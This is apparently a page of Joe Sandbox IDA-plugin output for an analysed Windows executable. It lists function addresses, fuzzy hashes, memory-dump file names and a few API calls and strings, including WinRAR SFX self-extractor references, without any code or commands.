Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb6bb4a62616f0bcd3e2e2126cd32946fe2ad160a7c0dbd4e5bd03ed1428d6a6
Instruction ID: 3346f6346654b341ec80febf2a9caf754a7a22660b8cf0d0c81ac24d04a3b0fe
Opcode Fuzzy Hash: fb6bb4a62616f0bcd3e2e2126cd32946fe2ad160a7c0dbd4e5bd03ed1428d6a6
Instruction Fuzzy Hash: D8627D9AD3AF9A1EE303A53954131D2E35C0EF74C9551E31BFCE431E66EB92A6832314

Function 00007FF6559453F0 Relevance: .9, Instructions: 891COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48af5ed364a5f24a1952bf7eddbdda76aa6abd9a5dc0519f651bf09102684f27
Instruction ID: 905259e257549c4da9a90ce32ce9c3b66572cad59aa79100910b08800cb06762
Opcode Fuzzy Hash: 48af5ed364a5f24a1952bf7eddbdda76aa6abd9a5dc0519f651bf09102684f27
Instruction Fuzzy Hash: CF82E0BAA096C18AD725CE68D4486FC7BA1FB55F4CF088136CAA997786CF3C9C45C710

Function 00007FF65593BB90 Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffdf8f5a64276e3eb417e3b9ae5b43350349d41efb04db03fca9f8ba9e24336f
Instruction ID: 38c7f2cf72c7f01a3c168281e9d816dd2c9eb99ee62ad41cf96b0d5586d298d6
Opcode Fuzzy Hash: ffdf8f5a64276e3eb417e3b9ae5b43350349d41efb04db03fca9f8ba9e24336f
Instruction Fuzzy Hash: 5C22E477B246908BD728CF15C89AA5E3766F798748B4B8228DF0ACB785DB3CD505CB40

Function 00007FF655944B98 Relevance: .6, Instructions: 578COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21143e83615dcc23e36b64f0d60848ac948cba63854c17a605a1a3ec217f9251
Instruction ID: 78c2a877f8316aa04dc4e2577f6d8730c0d1b2720097ec7facd8433f0ee7280d
Opcode Fuzzy Hash: 21143e83615dcc23e36b64f0d60848ac948cba63854c17a605a1a3ec217f9251
Instruction Fuzzy Hash: 2832C1B6A041D18BE7188F24D558ABC37A1F754B4CF098139DA9A97B89EF3CEC64C740

Function 00007FF655941F20 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3190ea2af27d5756d92182682109c7c4eb2d5c381fcec9ad387f57713ef71fe
Instruction ID: a4cc1254bd3ae93cd155afb2ff7ba68765c29f293349124511719fbff30cd9fd
Opcode Fuzzy Hash: c3190ea2af27d5756d92182682109c7c4eb2d5c381fcec9ad387f57713ef71fe
Instruction Fuzzy Hash: B8E1C5AAA092C2CAEB64CF29A44826D7791FB44B4CF0D4135DB9DA7746EF3CED418704

Function 00007FF655943484 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d9f1d4af68ebc00f7ab7abf4cea58f5074969ee2768498b55c72978f68bcf28
Instruction ID: c15f872c22971bf2372cd4ba400b777921e1bc0b0440686a32d72c2999d3adf7
Opcode Fuzzy Hash: 3d9f1d4af68ebc00f7ab7abf4cea58f5074969ee2768498b55c72978f68bcf28
Instruction Fuzzy Hash: 1FB1D1A6B05BC992DE58CA75D50C6E9A391BB04FC8F488036DEAD67742DF3CE995C300

Function 00007FF655927288 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063370d9e2e9571dc593e8358d008e0ec5385ad0435e9f2f5019d46da215c13b
Instruction ID: 61103b4f1dcf0ed1d724bf7b2dd0f9c040de9fc3a18487d87b6b9075ed7c2517
Opcode Fuzzy Hash: 063370d9e2e9571dc593e8358d008e0ec5385ad0435e9f2f5019d46da215c13b
Instruction Fuzzy Hash: 6AC19DB7B281908FE350CF7AE400A9D3BB1F39878CB559125DF59A3B09D639DA45CB40

Function 00007FF655942D58 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 602477e063b5c1ca901f2159ae3c7fc010244aaa433e93e1960e83d539d05e76
Instruction ID: 36c21af0f0f43439774ce4c1a6afd8021feb2c4b8f041f60e4742f7701d3e74f
Opcode Fuzzy Hash: 602477e063b5c1ca901f2159ae3c7fc010244aaa433e93e1960e83d539d05e76
Instruction Fuzzy Hash: 42A1F37AA081C1C6EB158A64D40C7BDA791FB94B4CF5A4635DA9EA7787DF3CEC818300

Function 00007FF65593AF18 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f156a61251d3696a660eff3e2c5499dd818c979554cbf7ea7c30eccab92618
Instruction ID: 9eba5f77fa73b84b26adaa935c2bc3dacaff649e8edc77d253b3198ff973a793
Opcode Fuzzy Hash: e3f156a61251d3696a660eff3e2c5499dd818c979554cbf7ea7c30eccab92618
Instruction Fuzzy Hash: 79C12777A291E08DE302CBB5A4248FD3FF2E71E74DB4A4151EF9666B4AC62C5201DF20

Function 00007FF65592A310 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: ba0d91b71a6ba36ace61fab0c0f7d4922daa1e3f8d028e3e8b3457ff5b2a4fa0
Instruction ID: e1e18e7e723a9fa45ac3990b81c79a67eed7f8a13a7ff8afc4bc58fb5001c9a9
Opcode Fuzzy Hash: ba0d91b71a6ba36ace61fab0c0f7d4922daa1e3f8d028e3e8b3457ff5b2a4fa0
Instruction Fuzzy Hash: F1910267A185C196EB11CF29D8592ED6721FF95B8CF481031EE4EA7A4AEF3CDA45C300

Function 00007FF65593B534 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd80b8924012b3a81ce264cde7180753b201b1e387c519ebd9873ce58afa85e
Instruction ID: 7ce8ff62c2dd00e88244c0be588cbd224d4102a3153ee6b4a18fd7794ea11f0a
Opcode Fuzzy Hash: cfd80b8924012b3a81ce264cde7180753b201b1e387c519ebd9873ce58afa85e
Instruction Fuzzy Hash: 6261C236B181D189EB118F7585184FD7FA2E759B88B4A4032CE9EA7647DF2CE905CB10

Function 00007FF6559421D0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8137a9b05b05aada6fbcd6bbdda66db02b1ef4637fe403d2df7c72722ebbdea5
Instruction ID: a3745abe63373781f62921198f6ba1d9ebe4e30456073574741aa8d1c0457091
Opcode Fuzzy Hash: 8137a9b05b05aada6fbcd6bbdda66db02b1ef4637fe403d2df7c72722ebbdea5
Instruction Fuzzy Hash: 1951F373A181918BEB288F68D01876DB761FB90F48F484134DB999768ADF3DED41CB00

Function 00007FF655942AB0 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525267a7f117e2089c634eae81b531c40420bccc1aa688f1dd99d62513960580
Instruction ID: 5dc10adf944d2e216ee20b647bb9f8bae0e5219885e41a16ad28f13929075c71
Opcode Fuzzy Hash: 525267a7f117e2089c634eae81b531c40420bccc1aa688f1dd99d62513960580
Instruction Fuzzy Hash: 5731E5B6A085C18BDB08CE5AD65427EB790F745B48F098139DB9AD3B82DF3CE841C700

Function 00007FF6559658E0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20052d42666034676028b01d15d2cffdefdd266dec7e2dd0f98b8d8f07818195
Instruction ID: 189ea63dd5d094df0a44edb62460698ab8d9ea4bd41c6f9b21e4c347571c6d94
Opcode Fuzzy Hash: 20052d42666034676028b01d15d2cffdefdd266dec7e2dd0f98b8d8f07818195
Instruction Fuzzy Hash: 73F06276B186968BDBA48F29A84262A77D0F708784F88803DD68DC3B05DB3C98609F05

Function 00007FF655953354 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e57e15d0ab639cfe726454a8769b7378f2b682ff734fe90589bfb13db1bf513a
Instruction ID: b0b7971300601e76db83b99ed7a1bda7a49740ac940e4a3df2f1cdce67af5bd1
Opcode Fuzzy Hash: e57e15d0ab639cfe726454a8769b7378f2b682ff734fe90589bfb13db1bf513a
Instruction Fuzzy Hash: 20A0026990CDC2D0E6448F14F9684B42374FF60B09B980071F10DE10A6EF3CAD15C340

Function 00007FF65592D7D0 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 98COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592D964

Strings

::$OBJECT_ID, xrefs: 00007FF65592D880
::$REPARSE_POINT, xrefs: 00007FF65592D88B
::$INDEX_ALLOCATION, xrefs: 00007FF65592D83E
:$I30:$INDEX_ALLOCATION, xrefs: 00007FF65592D849
::$EA, xrefs: 00007FF65592D81D
::$FILE_NAME, xrefs: 00007FF65592D833
::$BITMAP, xrefs: 00007FF65592D807
::$DATA, xrefs: 00007FF65592D812
::$LOGGED_UTILITY_STREAM, xrefs: 00007FF65592D85F
:$TXF_DATA:$LOGGED_UTILITY_STREAM, xrefs: 00007FF65592D875
::$ATTRIBUTE_LIST, xrefs: 00007FF65592D7FC
:$EFS:$LOGGED_UTILITY_STREAM, xrefs: 00007FF65592D86A
::$EA_INFORMATION, xrefs: 00007FF65592D828
::$INDEX_ROOT, xrefs: 00007FF65592D854

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: :$EFS:$LOGGED_UTILITY_STREAM$:$I30:$INDEX_ALLOCATION$:$TXF_DATA:$LOGGED_UTILITY_STREAM$::$ATTRIBUTE_LIST$::$BITMAP$::$DATA$::$EA$::$EA_INFORMATION$::$FILE_NAME$::$INDEX_ALLOCATION$::$INDEX_ROOT$::$LOGGED_UTILITY_STREAM$::$OBJECT_ID$::$REPARSE_POINT
API String ID: 3668304517-727060406
Opcode ID: 2f19ab4c30c8eac6d144c901c4549240b956f6a692c877d1095a563e450749ff
Instruction ID: 2a19c02bc1c78b7c4f8c41c725ca7a47e4130f4ad0fd3ec682e8b63294c33655
Opcode Fuzzy Hash: 2f19ab4c30c8eac6d144c901c4549240b956f6a692c877d1095a563e450749ff
Instruction Fuzzy Hash: CA41FC7AB05F4199EB008F60D8583E933A9EB48B98F440136DA4D63B5AEF3CD959C380

Function 00007FF655952A10 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF655952A26
GetModuleHandleW.KERNEL32 ref: 00007FF655952A33
GetModuleHandleW.KERNEL32 ref: 00007FF655952A48
GetProcAddress.KERNEL32 ref: 00007FF655952A60
GetProcAddress.KERNEL32 ref: 00007FF655952A73
CreateEventW.KERNEL32 ref: 00007FF655952A9F
DeleteCriticalSection.KERNEL32 ref: 00007FF655952AEB
CloseHandle.KERNEL32 ref: 00007FF655952AFD

Strings

WakeAllConditionVariable, xrefs: 00007FF655952A66
SleepConditionVariableCS, xrefs: 00007FF655952A56
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF655952A2C
kernel32.dll, xrefs: 00007FF655952A41

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 6e1e709f092c3aabc6fb1c9db3d7c09c3ef1a4a7bf2af41e7ac9402dec2f511f
Instruction ID: 1fb8e6b597a755e72438a598eeea8bbe8b01e63fe059bdf060bfdb7d3048eeb9
Opcode Fuzzy Hash: 6e1e709f092c3aabc6fb1c9db3d7c09c3ef1a4a7bf2af41e7ac9402dec2f511f
Instruction Fuzzy Hash: 56212F6CE09B8382FE559B91E95C5B463A1AF44F89F4C0435C90EE26A3EF3CEC598350

Function 00007FF655936A0C Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 444COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559370A6

Part of subcall function 00007FF655922004: std::_Xinvalid_argument.LIBCPMT ref: 00007FF65592200F

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559370B2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559370B8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559370C4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559370D6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559370DC

Strings

\\?\, xrefs: 00007FF655936A57, 00007FF655936A66
DXGIDebug.dll, xrefs: 00007FF655936A18
UNC, xrefs: 00007FF655936BBF

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: DXGIDebug.dll$UNC$\\?\
API String ID: 4097890229-4048004291
Opcode ID: dee26740b612624536d12b2af6dd68e178aeff84bb288dba342f4b8cabb8cc6b
Instruction ID: 4a116e236eaf16a96736a069f22ec8225ed5f7b79bcabb2a1cfff672dbff9b8b
Opcode Fuzzy Hash: dee26740b612624536d12b2af6dd68e178aeff84bb288dba342f4b8cabb8cc6b
Instruction Fuzzy Hash: 4512CD2AB08AC280EB10DB64D4481AD6371EB85F8CF594235DB5DA7BEADF3CD959C340

Function 00007FF65594A440 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65592129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF655921396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594A72F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594A735
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594A73B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594A741
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594A747
EndDialog.USER32 ref: 00007FF65594A7BA

Strings

Software\WinRAR SFX, xrefs: 00007FF65594A52B, 00007FF65594A53A
GETPASSWORD1, xrefs: 00007FF65594A773

Memory Dump Source

